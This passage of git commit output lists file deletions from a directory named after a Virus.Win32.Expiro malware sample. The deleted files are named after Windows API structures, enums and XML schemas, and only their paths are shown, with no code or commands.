MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_ATTRIBUTES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_IMPERSONATION_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_SESSION_DATA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SECURITY_LOGON_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SETTINGSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_ADT_PARAMETER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SE_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SID_NAME_USE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SPTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ASSOCIATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_BUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_CODE_SET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_IDENTIFIER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_ID_NAA_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PORT_CODE_SET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_PROPERTY_ID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STORAGE_QUERY_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STREAM_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SYSTEM_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SecDelegationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TAPE_DRIVE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ELEMENTS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ICON_ELEMENTS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_NOTIFICATIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_THDTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_ELEVATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_MANDATORY_LABEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_OWNER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_STATISTICS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TP_CALLBACK_ENVIRON.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_OUTCOME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTED_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_FORM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRUSTEE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_URLZONEREG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_USER_MARSHAL_CB_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_CHANGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_ENABLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_WRITE_THROUGH.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0004.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0005.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IBindStatusCallback_0006.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_ICodeInstall_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetSecurityManager_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IInternetZoneManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IMonikerProp_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IOleDocument_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL_IPrint_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/__enative_startup_state.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_iobuf.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ldiv_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagACENUMOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETELISTOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagAUTOCOMPLETEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagINTERNETFEATURELIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagOIBDG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPARSEACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagPSUACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_tagQUERYOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/addressing04.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/gcroot_003CSystem_003A_003AString ^_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/identity.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/localeinfo_struct.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-secext-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/oasis-200401-wss-wssecurity-utility-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTCTXW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagACTIVATEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagADVF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagApplicationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagAspectInfoFlag.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBANDSITECID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSPEED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBINDSTRING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBIND_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagBROWSERFRAMEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLCONV.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCALLTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATEGORYINFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCATSORT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCDBURNINGEXTENSIONRET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCHANGEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCLSCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOINIT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOMSD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOWAIT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCPVIEW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCTRLINFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDATADIR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDCOM_CALL_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESKBANDCID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDISCARDCACHE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDOMNodeType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEOLE_AUTHENTICATION_CAPABILITIES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXTCONN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtendedErrorParamTypes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtentMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERVIEWMODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFUNCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGETPROPERTYSTOREFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGPFIDL_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagGUIDKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagHITRESULT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINTERVAL_LIMIT_KIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagINVOKEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagLOCKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPLINKTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagMARKUPMESSAGE.cs delete mode 100644 